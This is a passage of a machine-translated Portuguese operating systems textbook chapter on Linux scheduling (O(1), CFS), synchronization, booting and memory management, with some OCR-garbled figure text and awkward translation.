ler um arquivo de disco, fazer com que ele espere um segundo entre as chamadas de leitura irá torná-lo 
enormemente lento. É muito melhor deixá-lo rodar imediatamente após a conclusão de cada solicitação, então 
que pode fazer o próximo rapidamente. Da mesma forma, se um processo foi bloqueado aguardando 
para entrada do teclado, é claramente um processo interativo e, como tal, deve ser dado 
alta prioridade assim que estiver pronto, a fim de garantir que os processos interativos sejam 
bom serviço. Sob essa luz, os processos vinculados à CPU basicamente obtêm qualquer serviço que seja 
sobra quando todos os processos interativos e vinculados à E/S são bloqueados. 
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Como o Linux não sabe a priori se uma tarefa é vinculada à E/S ou à CPU, ele depende 
da manutenção contínua de heurísticas de interatividade. Desta forma, o Linux distingue entre 
prioridade estática e dinâmica. A prioridade dinâmica dos threads é continuamente recalculada, 
de modo a (1) recompensar threads interativos e (2) punir threads que consomem CPU. No 
escalonador O(1), o bônus de prioridade máximo é 5, pois valores de prioridade mais baixa 
correspondem à prioridade mais alta recebida pelo escalonador. 

A penalidade de prioridade máxima é +5. O agendador mantém uma variável média de sono 
associada a cada tarefa. Sempre que uma tarefa é despertada, esta variável é incrementada. 
Sempre que uma tarefa é preemptada ou quando seu quantum expira, esta variável é 
decrementada pelo valor correspondente. Este valor é usado para mapear dinamicamente o 
bônus da tarefa para valores de 5 a +5. O escalonador recalcula o novo nível de prioridade à 
medida que um thread é movido da lista ativa para a lista expirada. 

O algoritmo de escalonamento O(1) refere-se ao escalonador que se tornou popular nas 
primeiras versões do kernel 2.6 e foi introduzido pela primeira vez no instável kernel 2.5. 

Os algoritmos anteriores exibiam baixo desempenho em configurações de multiprocessador 
e não se adaptavam bem a um número maior de tarefas. Como a descrição apresentada nos 
parágrafos acima indica que uma decisão de escalonamento pode ser tomada através do 
acesso à lista ativa apropriada, ela pode ser feita em tempo O(1) constante, independente do 
número de processos no sistema. No entanto, apesar da propriedade desejável de operação 
em tempo constante, o escalonador O(1) apresentava deficiências significativas. Mais 
notavelmente, as heurísticas utilizadas para determinar a interactividade de uma tarefa e, 
portanto, o seu nível de prioridade, eram complexas e imperfeitas, e resultavam num fraco 
desempenho para tarefas interactivas. 

Para resolver esse problema, Ingo Molnar, que também criou o escalonador O(1), 
propôs um novo escalonador chamado CFS (Completely Fair Scheduler). O CFS foi baseado 
em ideias originalmente desenvolvidas por Con Kolivas para um escalonador anterior e foi 
integrado pela primeira vez na versão 2.6.23 do kernel. Ainda é o agendador padrão para 
tarefas que não são em tempo real. 

A ideia principal por trás do CFS é usar uma árvore vermelha e preta como estrutura de 
dados da fila de execução. As tarefas são ordenadas na árvore com base no tempo que 
passam em execução na CPU, chamado vruntime. O CFS contabiliza o tempo de execução 
das tarefas com granularidade de nanossegundos. Conforme mostrado na Figura 10.10(b), 
cada nó interno da árvore corresponde a uma tarefa. Os filhos à esquerda correspondem às 
tarefas que tiveram menos tempo de CPU e, portanto, serão agendados mais cedo, e os 
filhos à direita no nó são aqueles que consumiram mais tempo de CPU até o momento. As 
folhas da árvore não desempenham nenhuma função no agendador. 

O algoritmo de escalonamento pode ser resumido da seguinte forma. O CFS sempre 
agenda a tarefa que teve menos tempo na CPU, normalmente o nó mais à esquerda da 
árvore. Periodicamente, o CFS incrementa o valor vruntime da tarefa com base no tempo em 
que ela já foi executada e compara isso com o nó atual mais à esquerda na árvore. Se a 
tarefa em execução ainda tiver um tempo de execução menor, ela continuará em execução. 
Caso contrário, ele será inserido no local apropriado da árvore rubro-negra, e a CPU será 
entregue à tarefa correspondente ao novo nó mais à esquerda. 
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Para levar em conta as diferenças nas prioridades das tarefas e na “gentileza”, o CFS altera o 
taxa efetiva na qual o tempo virtual de uma tarefa passa quando ela está em execução na CPU. 

Para tarefas de menor prioridade, o tempo passa mais rapidamente, seu valor vruntime será 
aumentarão mais rapidamente e, dependendo de outras tarefas no sistema, perderão 

a CPU e serão reinseridos na árvore mais cedo do que se tivessem uma prioridade mais alta 
valor. Desta forma, o CFS evita usar estruturas de runqueue separadas para diferentes 
níveis de prioridade. 

Em resumo, a seleção de um nó para execução pode ser feita em tempo constante, enquanto 
a inserção de uma tarefa na fila de execução é feita em tempo O(log(N)), onde N é o número 
de tarefas no sistema. Dados os níveis de carga nos sistemas atuais, isto continua a 
ser aceitável, mas como a capacidade computacional dos nós e o número de tarefas 
eles podem rodar, aumentar, principalmente no espaço do servidor, é possível que novos 
algoritmos de escalonamento serão necessários no futuro. 

Além do algoritmo de escalonamento básico, o escalonador Linux inclui 
recursos particularmente úteis para plataformas multiprocessadores ou multicore. Primeiro, o 
A estrutura runqueue está associada a cada CPU na plataforma de multiprocessamento. 

O agendador tenta manter os benefícios do agendamento por afinidade e agendar 

tarefas na CPU na qual estavam sendo executadas anteriormente. Segundo, um conjunto de chamadas 
de sistema está disponível para especificar ou modificar ainda mais os requisitos de afinidade de um 
selecione o tópico. Finalmente, o escalonador realiza balanceamento de carga periódico em filas de 
execução de diferentes CPUs para garantir que a carga do sistema esteja bem balanceada, enquanto 
ainda atendendo a certos requisitos de desempenho ou afinidade. 

O agendador considera apenas tarefas executáveis, que são colocadas na fila de execução 
apropriada. Tarefas que não são executáveis e estão aguardando várias operações de E/S ou outros 
eventos do kernel são colocadas em outra estrutura de dados, waitqueue. A 
waitqueue está associado a cada evento que as tarefas podem aguardar. O chefe do 
waitqueue inclui um ponteiro para uma lista vinculada de tarefas e um spinlock. O spinlock é 
necessário para garantir que a fila de espera possa ser manipulada simultaneamente 


através do código principal do kernel e de manipuladores de interrupção ou outros métodos assíncronos 
invocações. 


10.3.5 Sincronização no Linux 


Na seção anterior, mencionamos que o Linux usa spinlocks para evitar 
modificações simultâneas em estruturas de dados, como filas de espera. Na verdade, o núcleo 
o código contém variáveis de sincronização em vários locais. A seguir resumiremos brevemente as 
construções de sincronização disponíveis no Linux. 

Os kernels anteriores do Linux tinham apenas um grande bloqueio de kernel. Isto provou ser 
altamente ineficiente, especialmente em plataformas multiprocessadas, uma vez que impediu processos em 
diferentes CPUs executem o código do kernel simultaneamente. Conseguentemente, muitos novos 
pontos de sincronização foram introduzidos com granularidade muito mais fina. 

O Linux fornece vários tipos de variáveis de sincronização, ambas usadas internamente 
no kernel e disponível para aplicativos e bibliotecas de nível de usuário. No mais baixo 
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Nesse nível, o Linux fornece wrappers em torno das instruções atômicas suportadas por hardware, 
por meio de operações como conjunto atômico e leitura atômica. Além disso, como o hardware 
moderno reordena as operações de memória, o Linux fornece barreiras de memória. O uso de 
operações como rmb e wmb garante que todas as operações de leitura/gravação de memória 
anteriores à chamada de barreira sejam concluídas antes que quaisquer acessos subsequentes ocorram. 
As construções de sincronização mais comumente usadas são as de nível superior. 
Threads que não desejam bloquear (por motivos de desempenho ou correção) usam spinlocks e 
bloqueios de leitura/gravação de spin. A versão atual do Linux implementa o chamado spinlock 
"baseado em ticket", que possui excelente desempenho em sistemas SMP e multicore. Threads 
que têm permissão ou precisam bloquear usam construções como mutexes e semáforos. O Linux 
suporta chamadas sem bloqueio, como mutex trylock e sem tr ywait, para determinar o status da 
variável de sincronização sem bloqueio. Outros tipos de variáveis de sincronização, como futexes, 
conclusões, bloqueios "read copy-update" (RCU), etc., também são suportados. Finalmente, a 
sincronização entre o kernel e o código executado por rotinas de tratamento de interrupções 
também pode ser alcançada desabilitando e habilitando dinamicamente as interrupções 
correspondentes. 


10.3.6 Inicializando o Linux 


Os detalhes variam de plataforma para plataforma, mas em geral as etapas a seguir 
representam o processo de inicialização. Quando o computador é iniciado, o BIOS executa o 
Power-On-Self-Test (POST) e a descoberta e inicialização inicial do dispositivo, uma vez que o 
processo de inicialização do sistema operacional pode depender do acesso a discos, telas, teclados 
e assim por diante. Em seguida, o primeiro setor do disco de inicialização, o MBR (Master Boot 
Record), é lido em um local fixo de memória e executado. Este setor contém um programa 
pequeno (512 bytes) que carrega um programa independente chamado boot a partir do dispositivo 
de inicialização, como um disco SATA ou SCSI. O programa de inicialização primeiro se copia para 
um endereço fixo com muita memória para liberar pouca memória para o sistema operacional. 

Depois de movido, boot lê o diretório raiz do dispositivo de inicialização. Para fazer isso, ele 
deve entender o sistema de arquivos e o formato do diretório, como é o caso de alguns bootloaders 
como o GRUB (GRand Unified Bootloader). Outros bootloaders, como o LILO da Intel, não 
dependem de nenhum sistema de arquivos específico. Em vez disso, eles precisam de um mapa 
de blocos e de endereços de baixo nível, que descrevem setores físicos, cabeçotes e cilindros, 
para encontrar os setores relevantes a serem carregados. 

Em seguida, a inicialização lê o kernel do sistema operacional e salta para ele. Neste ponto, 
ele concluiu seu trabalho e o kernel está em execução. 

O código de inicialização do kernel é escrito em linguagem assembly e é altamente dependente 
da máquina. O trabalho típico inclui configurar a pilha do kernel, identificar o tipo de CPU, calcular 
a quantidade de RAM presente, desabilitar interrupções, habilitar a MMU e, finalmente, chamar o 
procedimento principal da linguagem C para iniciar a parte principal do sistema operacional. 


O código C também tem uma inicialização considerável para fazer, mas isso é mais lógico do 
que físico. Ele começa alocando um buffer de mensagens para ajudar a depurar problemas. 
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À medida que a inicialização prossegue, mensagens são escritas aqui sobre o que está acontecendo, 
para que possam ser detectadas após uma falha na inicialização por um programa de diagnóstico especial. 
Pense nisso como o gravador de vôo da cabine do sistema operacional (a caixa preta que os 
investigadores procuram após a queda de um avião). 

Em seguida, as estruturas de dados do kernel são alocadas. A maioria tem tamanho fixo, mas 
algumas, como o cache de páginas e certas estruturas de tabelas de páginas, dependem da quantidade 
de RAM disponível. 

Neste ponto, o sistema inicia a autoconfiguração. Usando arquivos de configuração informando 
quais tipos de dispositivos de E/S podem estar presentes, ele começa a sondar os dispositivos para ver 
quais deles realmente estão presentes. Se um dispositivo testado responder à sonda, ele será adicionado 
a uma tabela de dispositivos conectados. Se não responder, será considerado ausente e ignorado 
doravante. Ao contrário das versões tradicionais do UNIX, os drivers de dispositivos Linux não precisam 
ser vinculados estaticamente e podem ser carregados dinamicamente (como pode ser feito em todas as 
versões do MS-DOS e do Windows, aliás). 

Os argumentos a favor e contra o carregamento dinâmico de drivers são interessantes e valem a 
pena serem declarados explicitamente. O principal argumento para o carregamento dinâmico é que um 
único binário pode ser enviado a clientes com configurações divergentes e fazer com que carregue 
automaticamente os drivers necessários, possivelmente até mesmo através de uma rede. O principal 
argumento contra o carregamento dinâmico é a segurança. Se você estiver executando um site seguro, 
como um banco de dados de um banco ou um servidor Web corporativo, provavelmente desejará 
impossibilitar a inserção de código aleatório no kernel. O administrador do sistema pode manter as fontes 
do sistema operacional e os arquivos de objeto em uma máquina segura, fazer todas as compilações do 
sistema lá e enviar o binário do kernel para outras máquinas através de uma rede local. Se os drivers 
não puderem ser carregados dinamicamente, esse cenário impedirá que operadores de máquinas e 
outras pessoas que conheçam a senha de superusuário injetem código malicioso ou com erros no kernel. 
Além disso, em grandes sites, a configuração do hardware é conhecida exatamente no momento em que 
o sistema é compilado e vinculado. As alterações são raras, portanto, ter que vincular novamente o 
sistema quando um novo dispositivo é adicionado não é um problema. 

Depois que todo o hardware estiver configurado, a próxima coisa a fazer é elaborar cuidadosamente 
o processo 0, configurar sua pilha e executá-lo. O processo 0 continua a inicialização, fazendo coisas 
como programar o relógio em tempo real, montar o sistema de arquivos raiz e criar o init (processo 1) e 
o daemon de página (processo 2). 

O Init verifica seus sinalizadores para ver se ele deve ser de usuário único ou multiusuário. 

No primeiro caso, ele bifurca um processo que executa o shell e aguarda a saída desse processo. No 
último caso, ele bifurca um processo que executa o shell script de inicialização do sistema, /etc/rc, que 
pode fazer verificações de consistência do sistema de arquivos, montar sistemas de arquivos adicionais, 
iniciar processos daemon e assim por diante. Então ele lê /etc/ttys, que lista os terminais e algumas de 
suas propriedades. Para cada terminal habilitado, ele obtém uma cópia de si mesmo, que faz algumas 
tarefas domésticas e depois executa um programa chamado getty. 


Getty define a velocidade da linha e outras propriedades para cada linha (algumas das quais podem 
ser modems, por exemplo) e depois exibe 


Conecte-se: 
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na tela do terminal e tenta ler o nome do usuário no teclado. Quando 

alguém se senta no terminal e fornece um nome de login, getty termina 

executando /bin/login, o programa de login. O login então pede uma senha, criptografa 
e verifica-o em relação à senha criptografada armazenada no arquivo de senha, 
/etc/passwd. Se estiver correto, o login se substitui pelo shell do usuário, que então 
aguarda o primeiro comando. Se estiver incorreto, o login pede apenas outro usuário 
nome. Este mecanismo é mostrado na Figura 10-11 para um sistema com três terminais. 


Processo 0 


Página 
daemon 


Processo 1 Processo 2 


Terminal O Terminal 1 Terminal 2 


Conecte-se: Conecte-se 


% cp fl f2 


Figura 10-11. A sequência de processos usados para inicializar alguns sistemas Linux. 


Na figura, o processo getty em execução no terminal O ainda está aguardando entrada. 
No terminal 1, um usuário digitou um nome de login, então getty se substituiu por 
login, que está pedindo a senha. Um login bem-sucedido já ocorreu 
no terminal 2, fazendo com que o shell digite o prompt (%). O usuário então digitou 


cp fi f2 
o que fez com que o shell separasse um processo filho e fizesse com que esse processo fosse executado 
o programa CP. O shell está bloqueado, aguardando o término do filho, momento em que 
vez que o shell digitará outro prompt e lerá no teclado. Se o usuário em 
terminal 2 tivesse digitado cc em vez de cp, o programa principal do compilador C seria 
foram iniciados, o que por sua vez teria gerado mais processos para executar o 
várias passagens do compilador. 


10.4 GERENCIAMENTO DE MEMÓRIA NO LINUX 


O modelo de memória do Linux é simples, para tornar os programas portáveis e 
para tornar possível implementar Linux em máquinas com memórias muito diferentes 
unidades de gerenciamento, variando de essencialmente nada (por exemplo, o IBM PC original) até 
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hardware de paginação sofisticado. Esta é uma área do design que quase não mudou em 
décadas. Funcionou bem, por isso não precisou de muita revisão. Examinaremos agora o modelo 


e como ele é implementado. 


10.4.1 Conceitos Fundamentais 


Todo processo Linux possui um espaço de endereço que consiste logicamente em três 
segmentos: texto, dados e pilha. Um exemplo de espaço de endereço de processo é ilustrado na 
Figura 10.12(a) como processo A. O segmento de texto contém as instruções de máquina que 
formam o código executável do programa. É produzido pelo compilador e montador traduzindo o C, 
C++ ou outro programa em código de máquina. O segmento de texto normalmente é somente 
leitura. Os programas automodificáveis saíram de moda por volta de 1950 porque eram muito 
difíceis de entender e depurar. Assim, o segmento de texto não aumenta, nem diminui, nem muda 
de qualquer outra forma. 


Processo A ERR Processo B 
i N Memória física 
Ponteiro de piha—>[_ | | |<+— Ponteiro de pilha 


1 
y 
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444/4114 


Memória 


não Wilizades | 


EN 


1111111114 
EEEESS 
= 
EE=== 


24K 


Figura 10-12. (a) Espaço de endereço virtual do processo A. (b) Memória física. (c) 
Espaço de endereço virtual do processo B. 


O segmento de dados contém armazenamento para todas as variáveis, strings, arrays e 
outros dados do programa. Possui duas partes, os dados inicializados e os dados não inicializados. 
Por razões históricas, este último é conhecido como BSS (historicamente chamado de Bloco 
Iniciado por Símbolo). A parte inicializada do segmento de dados contém variáveis e constantes 
do compilador que necessitam de um valor inicial quando o programa é iniciado. 

Todas as variáveis na parte BSS são inicializadas em zero após o carregamento. 

Por exemplo, em C é possível declarar uma string de caracteres e inicializá-la ao mesmo 
tempo. Ao iniciar o programa, ele espera que a string tenha seu valor inicial. Para implementar essa 
construção, o compilador atribui à string um local no espaço de endereço e garante que, quando o 
programa for iniciado, esse local contenha a string adequada. Do ponto de vista do sistema 
operacional, inicializado 
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os dados não são tão diferentes do texto do programa — ambos contêm padrões de bits produzidos 
pelo compilador que devem ser carregados na memória quando o programa é iniciado. 

A existência de dados não inicializados é na verdade apenas uma otimização. Quando uma 
variável global não é inicializada explicitamente, a semântica da linguagem C diz que seu valor inicial é 
O. Na prática, a maioria das variáveis globais não são inicializadas explicitamente e, portanto, são 0. 
Isso poderia ser implementado simplesmente tendo uma seção de o arquivo binário executável 
exatamente igual ao número de bytes de dados e inicializando todos eles, incluindo aqueles cujo 
padrão é 0. 

Porém, para economizar espaço no arquivo executável, isso não é feito. Em vez disso, o arquivo 
contém todas as variáveis explicitamente inicializadas após o texto do programa. As variáveis não 
inicializadas são todas reunidas após as inicializadas, então tudo o que o compilador precisa fazer é 
colocar uma palavra no cabeçalho informando quantos bytes devem ser alocados. 

Como exemplo, considere novamente a Figura 10.12(a). Aqui o texto do programa tem 8 KB e os dados 
inicializados também têm 8 KB. Os dados não inicializados (BSS) têm 4 KB. O arquivo executável tem 
apenas 16 KB (texto + dados inicializados), além de um cabeçalho curto que informa ao sistema para 
alocar outros 4 KB após os dados inicializados e zerá-los antes de iniciar o programa. Este truque evita 
armazenar 4 KB de zeros no arquivo executável. 

Para evitar a alocação de um quadro de página físico cheio de zeros, durante a inicialização o 
Linux aloca uma página zero estática, uma página protegida contra gravação cheia de zeros. 

Quando um processo é carregado, sua região de dados não inicializada é definida para apontar para a 
página zero. Sempre que um processo realmente tenta escrever nesta área, o mecanismo copy-on- 
write entra em ação e um quadro de página real é alocado ao processo. 

Ao contrário do segmento de texto, que não pode mudar, o segmento de dados pode mudar. 

Os programas modificam suas variáveis o tempo todo. Além disso, muitos programas precisam alocar 
espaço dinamicamente, durante a execução. O Linux lida com isso permitindo que o segmento de 
dados cresça e diminua à medida que a memória é alocada e desalocada. Uma chamada de sistema, 
br k, está disponível para permitir que um programa defina o tamanho do seu segmento de dados. 
Assim, para alocar mais memória, um programa pode aumentar o tamanho do seu segmento de dados. 
O procedimento da biblioteca C malloc, comumente usado para alocar memória, faz uso intenso dela. 
O descritor de espaço de endereço do processo contém informações sobre o intervalo de áreas de 
memória alocadas dinamicamente no processo, normalmente chamado de heap. 

O terceiro segmento é o segmento da pilha. Na maioria das máquinas, ele começa no topo ou 
próximo ao topo do espaço de endereço virtual e cresce até 0. Por exemplo, em plataformas x86 de 32 
bits, a pilha começa no endereço 0xC0000000, que é o limite de endereço virtual de 3 GB visível para 
o processo. no modo de usuário. Se a pilha crescer abaixo da parte inferior do segmento da pilha, 
ocorrerá uma falha de hardware e o sistema operacional diminuirá a parte inferior do segmento da pilha 
em uma página. Os programas não gerenciam explicitamente o tamanho do segmento da pilha. 


Quando um programa é iniciado, sua pilha não está vazia. Em vez disso, ele contém todas as 
variáveis de ambiente (shell), bem como a linha de comando digitada no shell para invocá-lo. Desta 
forma, um programa pode descobrir seus argumentos. Por exemplo, quando 


cp src destino 
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é digitado, o programa cp é executado com a string "cp src dest" na pilha, para que possa descobrir 
os nomes dos arquivos de origem e destino. A string é representada como uma matriz de ponteiros 
para os símbolos da string, para facilitar a análise. 

Quando dois usuários estão executando o mesmo programa, como o editor, seria possível, mas 
ineficiente, manter duas cópias do texto do programa do editor na memória ao mesmo tempo. Em 
vez disso, os sistemas Linux suportam segmentos de texto compartilhados. Na Figura 10.12(a) e 
(c) vemos dois processos, A e B, que possuem o mesmo segmento de texto. Na Figura 10.12(b) 
vemos um possível layout de memória física, no qual ambos os processos compartilham o mesmo 
trecho de texto. O mapeamento é feito pelo hardware MMU. 

Os segmentos de dados e pilha nunca são compartilhados, exceto após uma bifurcação, e 
apenas as páginas que não são modificadas. Se qualquer um deles precisar crescer e não houver 
espaço adjacente para crescer, não há problema, pois as páginas virtuais adjacentes não precisam 
ser mapeadas em páginas físicas adjacentes. 

Em alguns computadores, o hardware suporta espaços de endereço separados para instruções 
e dados. Quando esse recurso estiver disponível, o Linux poderá usá-lo. Por exemplo, em um 
computador com endereços de 32 bits, se esse recurso estiver disponível, haveria 232 bytes de 
espaço de endereço para instruções e 232 bytes adicionais de espaço de endereço para 
compartilhamento de dados e segmentos de pilha. Um salto ou ramificação para 0 vai para o 
endereço 0 do espaço de texto, enquanto uma mudança de 0 usa o endereço 0 no espaço de dados. 
Este recurso duplica o espaço de endereço disponível. 

Além de alocar mais memória dinamicamente, os processos no Linux podem acessar dados de 
arquivos por meio de arquivos mapeados na memória. Este recurso torna possível mapear um 
arquivo em uma parte do espaço de endereço de um processo para que o arquivo possa ser lido e 
gravado como se fosse uma matriz de bytes na memória. Mapear um arquivo torna o acesso aleatório 
a ele muito mais fácil do que usar chamadas de sistema de E/S, como leitura e gravação. Bibliotecas 
compartilhadas são acessadas mapeando-as usando este mecanismo. Na Figura 10.13, vemos um 
arquivo mapeado em dois processos, em endereços virtuais diferentes. 

Uma vantagem adicional de mapear um arquivo é que dois ou mais processos podem mapear 
no mesmo arquivo ao mesmo tempo. As gravações no arquivo por qualquer um deles ficam 
instantaneamente visíveis para os outros. Na verdade, ao mapear um arquivo scratch (que será 
descartado após a saída de todos os processos), esse mecanismo fornece uma maneira de largura 
de banda alta para vários processos compartilharem memória. No caso mais extremo, dois (ou mais) 
processos poderiam ser mapeados em um arquivo que cobre todo o espaço de endereço, 
proporcionando uma forma de compartilhamento que ocorre parcialmente entre processos e threads 
separados. Aqui o espaço de endereço é compartilhado (como threads), mas cada processo mantém 
seus próprios arquivos e sinais abertos, por exemplo, o que não é como threads. Na prática, 
entretanto, nunca é possível fazer com que dois espaços de endereço correspondam exatamente. 


10.4.2 Chamadas do sistema de gerenciamento de memória no Linux 


POSIX não especifica nenhuma chamada de sistema para gerenciamento de memória. Este 
tópico foi considerado muito dependente da máquina para padronização. Em vez disso, o problema 
foi varrido para debaixo do tapete, dizendo que os programas que necessitam de memória dinâmica 


Machine Translated by Google 


SEC. 10.4 


GERENCIAMENTO DE MEMÓRIA NO LINUX 


Processo A 


Ponteiro de pilha > 


Arquivo mapeado ( 


Memória física 


1 
' 
1 
1 
' 


eLA 


El EEE 
aee fo === 
Não utilizado E 
sisal 

memória 4/44/4110 


N 


7111111114 


-i VILLAS 


- PELIIN Sa 


e 


Processo B 


Figura 10-13. Dois processos podem compartilhar um arquivo mapeado. 
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Ponteiro de pilha 


> Arquivo mapeado 


o gerenciamento pode usar o procedimento da biblioteca malloc (definido pelo padrão ANSI C). Como o malloc 


é implementado é, portanto, movido para fora do escopo do POSIX 


padrão. Em alguns círculos, essa abordagem é conhecida como passar a responsabilidade. 


Na prática, a maioria dos sistemas Linux possui chamadas de sistema para gerenciamento de memória. O 


os mais comuns estão listados na Figura 10.14. Brk especifica o tamanho do segmento de dados fornecendo 


o endereço do primeiro byte além dele. Se o novo valor for maior 


do que o antigo, o segmento de dados torna-se maior; caso contrário, ele encolhe. 


Chamada do sistema 


Descrição 


s = brk(addr) a = 


Alterar o tamanho do segmento de dados 


mmap(addr, len, prot, flags, fd, offset) Mapeia um arquivo em 


s = desmapear(endereço, len) 


Desmapear um arquivo 


de arquivo. 


o código s é 1 se ocorreu um erro; a e addr são endereços de memória, len é um 


Figura 10-14. Algumas chamadas de sistema relacionadas ao gerenciamento de memória. O retorno 


length, prot controla a proteção, flags são bits diversos, fd é um descritor de arquivo e offset é um deslocamento 


As chamadas de sistema mmap e munmap controlam arquivos mapeados na memória. O primeiro 


parâmetro para mmap, addr, determina o endereço no qual o arquivo (ou parte 


deste) é mapeado. Deve ser um múltiplo do tamanho da página. Se este parâmetro for 0, 


o próprio sistema determina o endereço e o retorna em a. O segundo parâmetro, 


len, informa quantos bytes mapear. Também deve ser um múltiplo do tamanho da página. O 


o terceiro parâmetro, prot, determina a proteção do arquivo mapeado. Pode ser 
marcado como legível, gravável, executável ou alguma combinação destes. O quarto 


parâmetro, sinalizadores, controla se o arquivo é privado ou compartilhável e se addr 
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é um requisito ou apenas uma dica. O quinto parâmetro, fd, é o descritor do arquivo a ser mapeado. Somente 
arquivos abertos podem ser mapeados; portanto, para mapear um arquivo, ele deve primeiro ser aberto. 
Finalmente, offset informa onde no arquivo iniciar o mapeamento. Não é necessário iniciar o mapeamento 
no byte 0; qualquer limite de página serve. 

A outra chamada, unmap, remove um arquivo mapeado. Se apenas uma parte do arquivo for 
não mapeado, o resto permanece mapeado. 


10.4.3 Implementação de gerenciamento de memória no Linux 


Cada processo Linux em uma máquina de 32 bits normalmente obtém 3 GB de espaço de endereço 
virtual para si mesmo, com o 1 GB restante reservado para suas tabelas de páginas e outros dados do 
kernel. O 1 GB do kernel não fica visível durante a execução no modo de usuário, mas se torna acessível 
quando o processo é capturado no kernel. A memória do kernel normalmente reside em memória física 
baixa, mas é mapeada no primeiro GB de cada espaço de endereço virtual do processo, entre os endereços 
0xC0000000 e 0xFFFFFFFF (3-4 GB). 

Na maioria das atuais máquinas x86 de 64 bits, apenas até 48 bits são usados para anúncios, implicando 
um limite teórico de 256 TB para o tamanho da memória endereçável. O Linux divide essa memória entre o 
kernel e o espaço do usuário, resultando em um máximo de 128 TB de espaço de endereço virtual por 
processo. O espaço de endereço é criado quando o processo é criado e é substituído em uma chamada de 
sistema exec . Aprimoramentos recentes de hardware tornaram possível usar até 57 bits de endereço, o que 
amplia ainda mais o tamanho da memória endereçável possível para 128 PB (Petabytes). 


Para permitir que vários processos compartilhem a memória física subjacente, o Linux monitora o uso 
da memória física, aloca mais memória conforme necessário pelos processos do usuário ou componentes 
do kernel, mapeia dinamicamente porções da memória física no espaço de endereço de diferentes processos 
e traz e retira dinamicamente da memória programas executáveis, arquivos e outras informações de estado, 
conforme necessário, para utilizar os recursos da plataforma de forma eficiente e para garantir o progresso 
da execução. 
O restante desta seção descreve a implementação de vários mecanismos no kernel Linux que são 
responsáveis por essas operações. 


Gerenciamento de memória física 


Devido às limitações idiossincráticas de hardware em muitos sistemas, nem toda a memória física 
pode ser tratada de forma idêntica, especialmente no que diz respeito à E/S e à memória virtual. O Linux 
distingue entre as seguintes zonas de memória: 


1. ZONE DMA e ZONE DMAS32: páginas que podem ser utilizadas para DMA. 
2. ZONA NORMAL: páginas normais, mapeadas regularmente. 


3. ZONE HIGHMEM: páginas com endereços com muita memória, que são 
não mapeado permanentemente. 
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Os limites exatos e o layout das zonas de memória dependem da arquitetura. 

No hardware x86, determinados dispositivos podem realizar operações DMA apenas nos primeiros 16 
MB de espaço de endereço, portanto ZONE DMA está no intervalo de O a 16 MB. No entanto, em 
Máquinas de 64 bits, há suporte adicional para os dispositivos que podem executar 

Operações DMA de 32 bits e ZONE DMAS2 marca esta região. Além disso, se o 

hardware, como o i386 da geração mais antiga, não pode mapear diretamente endereços de memória 
acima de 896 MB, ZONE HIGHMEM corresponde a qualquer coisa acima desta marca. 

ZONA NORMAL é qualquer coisa entre eles. Portanto, na plataforma x86 de 32 bits, 

os primeiros 896 MB do espaço de endereço do Linux são mapeados diretamente, enquanto os 128 
MB restantes do espaço de endereço do kernel são usados para acessar regiões com muita memória. 
Em x86 64, ZONE HIGHMEM não está definido. O kernel mantém uma zona 

estrutura para cada uma das três zonas, e pode realizar alocações de memória para o 

três zonas separadamente. 

A memória principal no Linux consiste em três partes. As duas primeiras partes, o kernel 
e mapa de memória, são fixados na memória (ou seja, nunca são paginados). O resto da memória é 
dividido em molduras de páginas, cada uma das quais pode conter um texto, dados ou uma pilha. 
página, uma página de tabela de páginas ou estar na lista gratuita. 

O kernel mantém um mapa da memória principal que contém todas as informações sobre o uso 
da memória física no sistema, como suas zonas, áreas livres 
quadros de página e assim por diante. As informações, ilustradas na Fig. 10-15, são organizadas 
do seguinte modo. 

Primeiro de tudo, o Linux mantém uma série de descritores de páginas, do tipo page, um 
para cada quadro de página física no sistema, chamado mapa mem. Cada descritor de página contém 
um ponteiro para o espaço de endereço ao qual pertence, caso a página não seja 
livre, um par de ponteiros que lhe permitem formar listas duplamente vinculadas com outros 
descritores, por exemplo, para manter juntos todos os quadros de páginas livres, e alguns outros 
Campos. Na Figura 10-15, o descritor de página para a página 150 contém um mapeamento para o 
espaço de endereço ao qual a página pertence. As páginas 70, 80 e 200 são gratuitas e são 
ligados em conjunto. O tamanho do descritor de página é de 32 bytes, portanto o mapa de memória 
consome menos de 1% da memória física (para um quadro de página de 4 KB). 

Como a memória física é dividida em zonas, para cada zona o Linux mantém um descritor de 
zona. O descritor de zona contém informações sobre a utilização da memória dentro de cada zona, 
como o número de páginas ativas ou inativas, baixo 
e marcas d'água altas a serem usadas pelo algoritmo de substituição de página descrito posteriormente 
neste capítulo, bem como em muitos outros campos. 

Além disso, um descritor de zona contém uma série de áreas livres. O i-ésimo elemento 
nesta matriz identifica o descritor da primeira página do primeiro bloco de 2i páginas livres. 

Como pode haver mais de um bloco de páginas livres Zi, o Linux usa o par de 


ponteiros descritores de página em cada elemento da página para vinculá-los. Esta 


informação é usada nas operações de alocação de memória. Na Figura 10-15, área livre[0], 
que identifica todas as áreas livres da memória principal consistindo em apenas um quadro de página 


(já que 20 é um), aponta para a página 70, a primeira das três áreas livres. O outro grátis 
blocos de tamanho um podem ser acessados por meio dos links em cada um dos descritores de página. 
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descritor de nó 
Figura 10-15. Representação da memória principal do Linux. 


Finalmente, como o Linux é portável para arquiteturas NUMA (onde endereços de memória 
diferentes têm tempos de acesso diferentes), para diferenciar a memória física em nós diferentes (e 
evitar a alocação de estruturas de dados entre nós), um descritor de nó é usado . Cada descritor de nó 
contém informações sobre o uso de memória e zonas nesse nó específico. Nas plataformas UMA, o Linux 
descreve toda a memória por meio de um descritor de nó. Os primeiros bits dentro de cada descritor de 
página são usados para identificar o nó e a zona à qual pertence o quadro da página. 


para. 


Para que o mecanismo de paginação seja eficiente em arquiteturas de 32 e 64 bits, o Linux faz 
bom uso de um esquema de paginação de quatro níveis. Um esquema de paginação de três níveis, 
originalmente colocado no sistema para o Alpha, foi expandido após o Linux 2.6.10, e a partir da versão 
2.6.11 um esquema de paginação de quatro níveis é usado. Cada endereço virtual é dividido em cinco 
campos, conforme mostrado na Figura 10.16. Os campos do diretório são usados como um índice no 
diretório de páginas apropriado, do qual existe um diretório privado para cada processo. O valor 
encontrado é um ponteiro para um dos diretórios de próximo nível, que são novamente indexados por 
um campo do endereço virtual. O selecionado 
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entrada no diretório da página intermediária aponta para a tabela da página final, que é indexada 

pelo campo de página do endereço virtual. A entrada encontrada aqui aponta para a página 

necessário. No Pentium, que usa paginação em dois níveis, os diretórios superior e intermediário de cada 

página têm apenas uma entrada, portanto a entrada do diretório global efetivamente 

